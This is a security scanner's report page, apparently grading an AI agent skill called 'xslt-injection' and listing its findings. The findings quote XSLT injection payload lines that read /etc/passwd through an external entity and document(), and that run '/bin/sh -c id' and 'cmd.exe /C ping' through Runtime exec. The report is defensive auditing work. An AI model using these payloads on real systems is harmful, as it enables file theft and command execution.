xslt-injection

github.com/yaklang/hack-skills
Verdict: Generally safe
0 critical2 high3 medium
B
SCORE 75 / 100
$skillox install xslt-injectionSoon
Sign in to followFollowing emails you when a re-scan drops the grade. Opt-out is per-creator on /account/billing.

Why grade B?

score · 75 / 100

The current grade reflects 2 high-severity findings (any HIGH → B).

0 CRIT2 HIGH3 MED0 LOW
To reach a higher grade
  • A
    Reach Atarget score 95

    Resolve all 2 HIGH + 1 of 3 MED (cap is 2).

Thresholds are documented at /docs/grading. Source-of-truth is the grade() function in @skillox/scanner.

Latest scan findings

Scan crawl-i72xhp34rep8zx7ykdoa69p1 · Thu, 28 May 2026 17:26:32 GMT · 3ms

high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 66CWE-552
64```xml
65<!DOCTYPE xsl:stylesheet [
66 <!ENTITY ext_file SYSTEM "file:///etc/passwd">sensitive path — credential-exfiltration vector
67]>
68<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
high
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
rule: filesystem-overreachline: 92CWE-552
90 <xsl:output method="text"/>
91 <xsl:template match="/">
92 <xsl:copy-of select="document('/etc/passwd')"/>sensitive path — credential-exfiltration vector
93 </xsl:template>
94</xsl:stylesheet>
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 185CWE-78
183 <xsl:template match="/">
184 <xsl:variable name="rtobject" select="rt:getRuntime()"/>
185 <xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>spawns a subprocess outside declared capabilities
186 </xsl:template>
187</xsl:stylesheet>
med
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
rule: subprocess-executionline: 193CWE-78
191
192```text
193Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')spawns a subprocess outside declared capabilities
194```
195
med
No capability manifest declared
The skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.
rule: no-manifest
View latest scan →
skillox.io/c/xslt-injection